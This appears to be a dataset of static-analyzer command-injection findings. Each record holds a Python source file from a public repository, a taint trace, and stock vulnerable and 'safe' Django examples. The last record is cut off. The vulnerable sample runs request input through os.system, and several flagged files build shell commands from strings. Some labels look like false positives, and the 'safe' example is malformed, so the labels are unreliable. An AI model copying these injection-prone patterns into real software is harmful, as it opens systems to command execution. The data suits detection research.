{"id": "676f3aea8514db64ba999bc28d3d52a7c7fc31b537c15354d9290cf69677dc26", "license": {"spdx": ["MIT"], "repo": "lvrcek/assembly_graph_utils", "path": "graph_dataset.py", "repo_head_hexsha": "00d1f502ec5742071e00121a2f0895709829d3c2", "stack_hexsha": "dc2fabb65e5e786f3ca6a824b28bbd0720153d1b", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 46, "entireCode": "import os\nimport pickle\nimport subprocess\n\nimport dgl\nfrom dgl.data import DGLDataset\n\nimport graph_parser\n\n\nclass AssemblyGraphDataset(DGLDataset):\n \"\"\"\n A dataset to store the assembly graphs.\n\n A class that inherits from the DGLDataset and extends the\n functionality by adding additional attributes and processing the\n graph data appropriately.\n\n Attributes\n ----------\n root : str\n Root directory consisting of other directories where the raw\n data can be found (reads in FASTQ format), and where all the\n processing results are stored.\n tmp_dir : str\n Directory inside root where mid-results (output of the raven \n assembler) is stored\n info_dir : str\n Directory where additional graph information is stored\n raven_path : str\n Path to the raven assembler\n \"\"\"\n\n def __init__(self, root, specs=None):\n \"\"\"\n Parameters\n ----------\n root : str\n Root directory consisting of other directories where the raw\n data can be found (reads in FASTQ format), and where all the\n processing results are stored.\n \"\"\"\n self.root = os.path.abspath(root)\n self.specs = specs\n if 'raw' not in os.listdir(self.root):\n subprocess.run(f\"mkdir 'raw'\", shell=True, cwd=self.root)\n if 'tmp' not in os.listdir(self.root):\n subprocess.run(f\"mkdir 'tmp'\", shell=True, cwd=self.root)\n if 'processed' not in os.listdir(self.root):\n subprocess.run(f\"mkdir 'processed'\", shell=True, cwd=self.root)\n if 'info' not in os.listdir(self.root):\n subprocess.run(f\"mkdir 'info'\", shell=True, cwd=self.root)\n raw_dir = os.path.join(self.root, 'raw')\n save_dir = os.path.join(self.root, 'processed')\n self.tmp_dir = os.path.join(self.root, 'tmp')\n self.info_dir = os.path.join(self.root, 'info')\n self.raven_path = os.path.abspath('vendor/raven_filter/build/bin/raven')\n super().__init__(name='assembly_graphs', raw_dir=raw_dir, save_dir=save_dir)\n\n def has_cache(self):\n \"\"\"Check if the raw data is already processed and stored.\"\"\"\n return len(os.listdir(self.save_dir)) > 0\n # return len(os.listdir(self.save_dir)) == len(os.listdir(self.raw_dir))\n\n def __len__(self):\n return len(os.listdir(self.save_dir))\n\n def __getitem__(self, idx):\n (graph,), _ = dgl.load_graphs(os.path.join(self.save_dir, str(idx) + '.dgl'))\n return idx, graph\n\n def process(self):\n \"\"\"Process the raw data and save it on the disk.\"\"\"\n if self.specs is None:\n threads = 32\n filter = 0.99\n out = 'assembly.fasta'\n else:\n threads = self.specs['threads']\n filter = self.specs['filter']\n out = self.specs['out']\n\n graphia_dir = os.path.join(self.root, 'graphia')\n if not os.path.isdir(graphia_dir):\n os.mkdir(graphia_dir)\n\n with open(f'{self.root}/dataset_log.txt', 'w') as f:\n for cnt, fastq in enumerate(os.listdir(self.raw_dir)):\n print(cnt, fastq)\n reads_path = os.path.abspath(os.path.join(self.raw_dir, fastq))\n print(reads_path)\n subprocess.run(f'{self.raven_path} --filter {filter} --weaken -t{threads} -p0 {reads_path} > {out}', shell=True, cwd=self.tmp_dir)\n for j in range(1, 2):\n print(f'graph {j}')\n # processed_path = os.path.join(self.save_dir, f'd{cnt}_g{j}.dgl')\n processed_path = os.path.join(self.save_dir, f'{cnt}.dgl')\n graph, pred, succ, reads, edges = graph_parser.from_csv(os.path.join(self.tmp_dir, f'graph_{j}.csv'), reads_path)\n dgl.save_graphs(processed_path, graph)\n\n pickle.dump(pred, open(f'{self.info_dir}/{cnt}_pred.pkl', 'wb'))\n pickle.dump(succ, open(f'{self.info_dir}/{cnt}_succ.pkl', 'wb'))\n pickle.dump(reads, open(f'{self.info_dir}/{cnt}_reads.pkl', 'wb'))\n pickle.dump(edges, open(f'{self.info_dir}/{cnt}_edges.pkl', 'wb'))\n\n graphia_path = os.path.join(graphia_dir, f'{cnt}_graph.txt')\n graph_parser.print_pairwise(graph, graphia_path)\n f.write(f'{cnt} - {fastq}\\n')", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 45, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "45"}}, {"lineNo": 46, "eventType": "sink", "messageKey": "pythonchk.COMMAND_INJECTION.PYTHON.defect", "params": {}}]}}
{"id": "a01493548777f46d5e9b5dfa4cb5b4b19e8378574928b534867fa3dfd925a8bf", "license": {"spdx": ["MIT"], "repo": "soasme/PeppaPEG", "path": "scripts/check_spec.py", "repo_head_hexsha": "3ad481674ba3bbed6d495a6ad3b1f8087e6fd02d", "stack_hexsha": "219eff34d4867620514405299c53bb4d517aed92", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 43, "entireCode": "import os.path\nimport subprocess\nimport sys\nimport json\nimport yaml\nimport shlex\n\ndef test_spec():\n executable = sys.argv[1]\n specs_file = sys.argv[2]\n if specs_file.endswith('.json'):\n with open(specs_file) as f:\n try:\n specs = json.load(f)\n except json.decoder.JSONDecodeError:\n print(\"invalid json spec\")\n exit(1)\n elif specs_file.endswith('.yaml'):\n with open(specs_file) as f:\n try:\n specs = yaml.load(f, Loader=yaml.Loader)\n except Exception:\n print('invalid yaml spec')\n exit(1)\n\n failed, ignored, total = 0, 0, 0\n for spec in specs:\n for test in spec['tests']:\n total += 1\n cmd = shlex.split(executable) + [\n 'parse',\n '--grammar-entry', spec['entry'],\n ]\n if 'grammar' in spec:\n cmd.extend(['--grammar-str', spec['grammar']])\n elif 'grammar_file' in spec:\n if spec['grammar_file'].startswith('/'):\n cmd.extend(['--grammar-file', spec['grammar_file']])\n else:\n cmd.extend(['--grammar-file', os.path.dirname(os.path.abspath(specs_file)) + '/' + spec['grammar_file']])\n else:\n raise ValueError('Missing grammar/grammar_file')\n proc = subprocess.run(\n cmd,\n stdout=subprocess.PIPE,\n stderr=subprocess.PIPE,\n input=test['I'].encode('utf-8'),\n )\n if 'O' in test:\n if proc.returncode == 0:\n output = json.loads(proc.stdout.decode('utf-8'))\n expect = test['O']\n if output != expect:\n print(\n f\"GRAMMAR:\\n{spec.get('grammar') or spec.get('grammar_file')}\\n\"\n f\"INPUT:\\n{test['I']}\\n\"\n f\"OUTPUT:\\n{test['O']}\\n\"\n f\"GOT:\\n{json.dumps(output)}{proc.stderr.decode('utf-8')}\\n\"\n )\n failed += 1\n else:\n print(\n f\"GRAMMAR:\\n{spec.get('grammar') or spec.get('grammar_file')}\\n\"\n f\"INPUT:\\n{test['I']}\\n\"\n f\"OUTPUT:\\n{test['O']}\\n\"\n f\"GOT:\\n{proc.stderr.decode('utf-8')}{proc.stdout}\\n\"\n )\n failed += 1\n elif 'E' in test:\n if proc.stderr.decode('utf-8').strip() != test['E']:\n print(\n f\"GRAMMAR:\\n{spec.get('grammar') or spec.get('grammar_file')}\\n\"\n f\"INPUT:\\n{test['I']}\\n\"\n f\"ERROR:\\n{test['E']}\\n\"\n f\"GOT:\\n{proc.stderr.decode('utf-8')}{proc.stdout.decode('utf-8')}\"\n )\n failed += 1\n else:\n ignored += 1\n\n print(\"total: %d, failed: %d, ignored: %d\" % (total, failed, ignored))\n if failed:\n exit(1)\n\nif __name__ == '__main__':\n test_spec()", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 12, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 14, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 27, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 30, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 32, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "spectest_spec.spec[\"entry\"]"}}, {"lineNo": 43, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "8f0f01d025239ffdddef05db20cc252d6d982a9b892f768ce5e4e4bf85c67db0", "license": {"spdx": ["MIT"], "repo": "JaeminBest/melgan-neurips", "path": "scripts/data_preparation.py", "repo_head_hexsha": "924cf5c53543589356f90b1f07fc93f752a3108e", "stack_hexsha": "86e51efbd46812b418d01ef123c825d6801b4707", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 99, "entireCode": "'''\ngenerate final_train.txt\nif custom(-c):\n download data from s3, fill folder(--folder) \n and then generate final_train.txt and final_val.txt\nelse:\n load data from folder(--folder) and then generate final_train(val).txt\n \n'''\n\n\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\n\nfrom pathlib import Path\nfrom tqdm import tqdm\nfrom librosa.core import load\nimport argparse\nimport json\nimport librosa\nimport shutil\nimport torch\nimport random\n\nfrom utils.credential import s3\nfrom utils.audio import convert_sr\n\nSR = 22050\n\n\ndef span_path(args,full_filepath):\n path_cvt = Path(full_filepath)\n if args.folder==path_cvt.parents[0]:\n return full_filepath\n parse_speaker_id = full_filepath.split('/')[-4].split('-')[-1]\n parse_file_id = full_filepath.split('/')[-3].split('-')[-1]\n parse_filename = full_filepath.split('/')[-1]\n new_path = args.folder / Path(\"{}-{}-{}\".format(parse_speaker_id,parse_file_id,parse_filename))\n os.system('mv {} {}'.format(full_filepath,str(new_path)))\n return new_path\n\ndef reconstruct_path(key):\n splits = key.split('-')\n return \"speaker-{}/file-{}/wav/{}\".format(splits[0],splits[1],splits[2])\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--folder\", type=Path, required=True)\n parser.add_argument(\"--data-param-path\", type=Path, default='/app/params.json')\n parser.add_argument(\"--train-file\", type=Path, default='/app/data/final_train.txt')\n parser.add_argument(\"--val-file\", type=Path, default='/app/data/final_val.txt')\n parser.add_argument('-c', type=bool, default=(True if os.environ.get('CUSTOM','')=='1' else False))\n parser.add_argument('-d', action='store_true') # download flag if you change params.json you need to set this flag\n parser.add_argument('-s', action='store_true') # setting training_file, validation_file\n args = parser.parse_args()\n return args\n\n# assume that data already spanned\ndef invalid_data_checker(args):\n print(\"start invalid data checker\",flush=True)\n for rootpath,dirs,files in os.walk(str(args.folder)):\n for file in files:\n if file.find('.wav')==-1:\n continue\n filepath = os.path.join(rootpath,file)\n print(filepath,flush=True)\n path_cvt = Path(filepath)\n if args.folder==path_cvt.parents[0]:\n data, sampling_rate = load(filepath, sr=SR)\n if data.shape==(0,):\n print(\"deleted!!!!!!\",flush=True)\n os.remove(filepath)\n os.remove(filepath.split('.wav')[0]+'.mel')\n continue\n\n\ndef main():\n args = parse_args()\n args.folder.mkdir(exist_ok=True, parents=True)\n \n # download from s3\n if not args.d:\n # custom dataset\n if args.c:\n # json load\n with open(args.data_param_path) as f:\n json_data = json.load(f)\n data_list = json_data['data']\n \n # data download\n for data in data_list:\n parse_id = int(data.split('-')[-1])\n parse_type = data.split('-')[0]\n \n if parse_type=='nltk':\n dirpath = args.folder / Path('speaker-{}'.format(parse_id))\n os.makedirs(str(dirpath),exist_ok=True)\n os.system(\"aws s3 cp s3://mindlogic-tts-cache/nltk/speaker-{} {} --recursive\".format(parse_id,os.path.join(*dirpath.parts)))\n else:\n dirpath = args.folder/Path('speaker-{}'.format(parse_id))\n os.makedirs(str(dirpath),exist_ok=True)\n os.system(\"aws s3 cp s3://mindlogic-tts-cache/celeb/speaker-{} {} --recursive\".format(parse_id,os.path.join(*dirpath.parts)))\n \n # rearrange to structure\n print(\"rearrange start\",flush=True)\n for rootpath,dirs,files in os.walk(str(args.folder)):\n for file in files:\n if file.find('.wav')==-1:\n continue\n filepath = os.path.join(rootpath,file)\n convert_sr(filepath,SR)\n new_path = span_path(args,filepath)\n \n print(\"dummy clean start\",flush=True)\n # delete dummy directory\n for data in data_list:\n parse_id = int(data.split('-')[-1])\n parse_type = data.split('-')[0]\n dirpath = os.path.join(args.folder,'speaker-{}'.format(parse_id))\n if os.path.isdir(dirpath):\n shutil.rmtree(dirpath)\n \n else:\n print(\"building list of files...\",flush=True)\n for rootpath,dirs,files in os.walk(str(args.folder)):\n for file in files:\n if file.find('.wav')==-1:\n continue\n filepath = os.path.join(rootpath,file)\n convert_sr(filepath,SR)\n \n if args.s:\n invalid_data_checker(args)\n print(\"training/validation file selection start\",flush=True)\n if os.path.isfile(args.train_file):\n os.remove(args.train_file)\n trn_mapper = open(args.train_file,'a')\n if os.path.isfile(args.val_file):\n os.remove(args.val_file)\n val_mapper = open(args.val_file,'a')\n \n if args.c:\n # json load\n with open(args.data_param_path) as f:\n json_data = json.load(f)\n data_list = json_data['data']\n \n # data download + random validation selection\n bucket = s3.Bucket('mindlogic-tts')\n val_list = list()\n for data in data_list:\n parse_id = int(data.split('-')[-1])\n parse_type = data.split('-')[0]\n tmp_tot_list = list()\n tmp_val_list = list()\n \n if parse_type=='nltk':\n dirpath = args.folder / Path('speaker-{}'.format(parse_id))\n os.makedirs(str(dirpath),exist_ok=True)\n spkr_dataset = bucket.objects.filter(Prefix='nltk/speaker-{}/'.format(parse_id)).all()\n else:\n dirpath = args.folder/Path('speaker-{}'.format(parse_id))\n os.makedirs(str(dirpath),exist_ok=True)\n spkr_dataset = bucket.objects.filter(Prefix='celeb/speaker-{}/'.format(parse_id)).all()\n \n tmp_tot_list = [\"/\".join(el.key.split('/')[1:]) for el in spkr_dataset]\n tmp_val_list = random.sample(tmp_tot_list,len(tmp_tot_list)//10)\n val_list += tmp_val_list\n print(val_list)\n \n # rearrange to structure\n print(\"rearrange start\",flush=True)\n for rootpath,dirs,files in os.walk(str(args.folder)):\n for file in files:\n if file.find('.wav')==-1:\n continue\n filepath = os.path.join(rootpath,file)\n search_key = reconstruct_path(file)\n if search_key in val_list:\n val_mapper.write(filepath+'\\n')\n else:\n trn_mapper.write(filepath+'\\n')\n \n else:\n tot_list = list()\n val_list = list()\n print(\"scanning list of files...\",flush=True)\n for rootpath,dirs,files in os.walk(str(args.folder)):\n for file in files:\n filepath = os.path.join(rootpath,file)\n if filepath.find('.wav')!=-1:\n tot_list.append(filepath)\n val_list = random.sample(tot_list,len(tot_list)//10)\n \n print(\"writing file list...\")\n for el in tot_list:\n if el in val_list:\n val_mapper.write(el+'\\n')\n else:\n trn_mapper.write(el+'\\n')\n\n trn_mapper.close()\n val_mapper.close()\n \n\n print(\"finished\",flush=True)\n \n\nif __name__ == \"__main__\":\n main()\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 87, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 88, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 89, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json_datamain.json_data[\"data\"]"}}, {"lineNo": 92, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 92, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "split[-1]"}}, {"lineNo": 93, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "int"}}, {"lineNo": 96, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "96"}}, {"lineNo": 97, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 97, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Path"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "format"}}, {"lineNo": 99, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
{"id": "6337ae26f048f9cf51e718086567a55b65836723761dca21d5cad0c0c60415af", "license": {"spdx": ["MIT"], "repo": "MewX/gpw_mkv_uploady", "path": "upload_task.py", "repo_head_hexsha": "ba839cd75c6dd3b8f3d7844be255bf75dffd06ce", "stack_hexsha": "8163ebbc0396125b65e821b12d60e89fd66d1268", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 100, "entireCode": "import os\nimport logging\nimport subprocess\nimport time\nimport shutil\nimport requests\nimport json\nimport traceback\nfrom img_uploader import ImgUploader\nLOG_FORMAT = \"%(asctime)s - %(levelname)s - %(message)s\"\nlogging.basicConfig(level=logging.INFO, format=LOG_FORMAT)\n\nclass UploadTask(object):\n\n def __init__(self, *, \n pipeline: dict,\n mkvpath: str,\n resultdir: str,\n is_single_file: bool,\n imguploader=None,\n ptpimguploader=None,\n ):\n \"\"\"\n pipeline: all operations to be done, see config.py for details\n mkvpath: path to .mkv file\n resultdir: path to save the uploady information\n is_single_file: whether the .mkv file is only a single file or under a folder\n \"\"\"\n self.pipeline = pipeline\n self.mkvpath = mkvpath\n self.resultdir = resultdir \n self.is_single_file = is_single_file\n self.imguploader = imguploader\n self.ptpimguploader = ptpimguploader\n\n def run_all(self):\n filename = os.path.split(self.mkvpath)[1]\n logging.info(\"running task for {} result will be saved to {}\".format(filename, self.resultdir))\n if not os.path.exists(self.resultdir):\n os.makedirs(self.resultdir)\n if self.pipeline[\"screenshot\"][\"screenshot\"]:\n SCREENSHOT= self.pipeline[\"screenshot\"]\n logging.info(\"generating screenshot\")\n screenshot_paths = self.gen_screenshot(quantiles=SCREENSHOT[\"quantiles\"])\n if SCREENSHOT[\"upload_to_image_host\"]:\n self.upload_to_image_host(screenshot_paths)\n if SCREENSHOT[\"upload_to_ptpimg\"]:\n self.upload_to_ptpimg(screenshot_paths)\n if self.pipeline[\"mediainfo\"]:\n logging.info(\"generating mediainfo\")\n self.gen_mediainfo()\n if self.pipeline[\"mktorrent\"]:\n logging.info(\"generating torrent\")\n self.gen_torrent()\n if self.pipeline[\"mkv_softlink\"]:\n logging.info(\"generating mkv softlink\")\n self.gen_mkv_softlink()\n\n def gen_screenshot(self, quantiles):\n length_cmd = [\"ffprobe\", \"-v\", \"error\", \"-show_entries\", \"format=duration\", \"-of\", \"default=noprint_wrappers=1:nokey=1\", self.mkvpath]\n length = float(subprocess.run(length_cmd, check=True, capture_output=True).stdout) \n timestamps = [int(length * quantile) for quantile in quantiles]\n logging.info(\"video length: {}\".format(time.strftime('%H:%M:%S', time.gmtime(length))))\n screenshot_paths = []\n for t in timestamps:\n target = os.path.join(self.resultdir, \"{}.png\".format(time.strftime('%H_%M_%S', time.gmtime(t))))\n screenshot_paths.append(target)\n if not os.path.exists(target):\n screenshot_cmd = [\"ffmpeg\", \"-ss\", str(t), \"-y\", \"-i\", self.mkvpath, \"-vframes\", \"1\", \"-vcodec\", \"png\", target]\n subprocess.run(screenshot_cmd, check=True, capture_output=True)\n return screenshot_paths\n\n def upload_to_image_host(self, screenshot_paths):\n \"\"\"\n 上传至gpw官方图床\n \"\"\"\n uploaded_result = os.path.join(self.resultdir, \"screenshot_bbcode.txt\")\n if not os.path.exists(uploaded_result):\n uploaded_urls = []\n for img_path in screenshot_paths:\n logging.info(\"uploading {}\".format(img_path))\n uploaded_urls.append(self.imguploader.upload(img_path))\n with open(uploaded_result, \"w\") as f:\n for url in uploaded_urls:\n f.write(\"[img]{}[/img]\\n\".format(url))\n\n def upload_to_ptpimg(self, screenshot_paths):\n uploaded_result = os.path.join(self.resultdir, \"screenshot_bbcode_ptpimg.txt\")\n if not os.path.exists(uploaded_result):\n uploaded_urls = []\n for img_path in screenshot_paths:\n logging.info(\"uploading {} to ptpimg\".format(img_path))\n uploaded_urls.append(self.ptpimguploader.upload_file(img_path)[0])\n with open(uploaded_result, \"w\") as f:\n for url in uploaded_urls:\n f.write(\"[img]{}[/img]\\n\".format(url))\n\n def gen_mediainfo(self):\n with open(os.path.join(self.resultdir, \"mediainfo.txt\"), \"w\") as f:\n subprocess.run([\"mediainfo\", self.mkvpath], check=True, stdout=f)\n\n def gen_mkv_softlink(self):\n filename = os.path.split(self.mkvpath)[1]\n if not os.path.exists(os.path.join(self.resultdir, filename)):\n symlink_cmd = [\"ln\", \"-s\", self.mkvpath, self.resultdir]\n subprocess.run(symlink_cmd, check=True)\n\n def gen_torrent(self):\n if self.is_single_file:\n torrent_content = self.mkvpath\n else:\n filename = os.path.split(self.mkvpath)[1]\n pathname = os.path.split(os.path.split(self.mkvpath)[0])[1]\n tmpdir = os.path.join(self.resultdir, pathname)\n if not os.path.exists(tmpdir):\n os.makedirs(tmpdir)\n if not os.path.exists(os.path.join(tmpdir, filename)):\n hardlink_cmd = [\"ln\", \"-s\", self.mkvpath, tmpdir]\n subprocess.run(hardlink_cmd, check=True)\n torrent_content = tmpdir\n torrentname = \"{}.torrent\".format(os.path.splitext(os.path.split(self.mkvpath)[1])[0])\n torrentpath = os.path.join(self.resultdir, torrentname)\n if os.path.exists(torrentpath) and os.path.getsize(torrentpath) == 0:\n os.remove(torrentpath)\n if not os.path.exists(torrentpath):\n mktorrent_cmd = [\"mktorrent\", \"-o\", torrentpath, torrent_content]\n subprocess.run(mktorrent_cmd, check=True)\n if not self.is_single_file:\n shutil.rmtree(torrent_content)", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 99, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 100, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "4bf2343ad3af27ce935bd22fa433b56359de014872244e3ad9adb60212fae04a", "license": {"spdx": ["MIT"], "repo": "organic-chemistry/RepNano", "path": "src/repnano/models/training_loop.py", "repo_head_hexsha": "3f2e21f2006217f6438b16e6800b7f4f327c9210", "stack_hexsha": "6fbb4fa8f67b209eb08af8790898a6978372f7c8", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 81, "entireCode": "import subprocess\n\nimport argparse\nimport os\nimport json\nimport pandas as pd\nimport ast\n\nparser = argparse.ArgumentParser()\nparser.add_argument('--dataset', type=str)\nparser.add_argument('--training_info', type=str)\nparser.add_argument('--not_do', dest=\"do\",action=\"store_false\")\nparser.add_argument('--noerror', dest=\"error\",action=\"store_false\")\nparser.add_argument('--restart', dest=\"restart\",action=\"store_true\")\nparser.add_argument('--training_repertory',default=None)\nparser.add_argument('--root_training_dataset',default=None)\n\n\nargs = parser.parse_args()\n\n\nwith open(args.training_info,\"r\") as f:\n training = json.loads(\"\".join(f.readlines()))\n\ntraining_repertory = training.get(\"training_repertory\",args.training_repertory)\nif training_repertory == None:\n print(\"training repertory must be defined\")\n raise\nif args.training_repertory != None and training_repertory != args.training_repertory:\n print(\"Two different rep defined (one in json, one in command line)\")\n raise\n\nos.makedirs(training_repertory,exist_ok=True)\n\ndataset = pd.read_csv(args.dataset,sep=\";\")\n\nfor i in range(training[\"nloop\"]):\n if i == 0:\n input_folder = args.root_training_dataset\n else:\n input_folder = output_folder\n\n model_folder = f\"{training_repertory}/model_from_initial_loop{i}/\"\n output_folder = f\"{training_repertory}/training_from_initial_network_{i}/\"\n add=\"\"\n if i == training[\"nloop\"]-1:\n add = \" --lstm\"\n elif i == 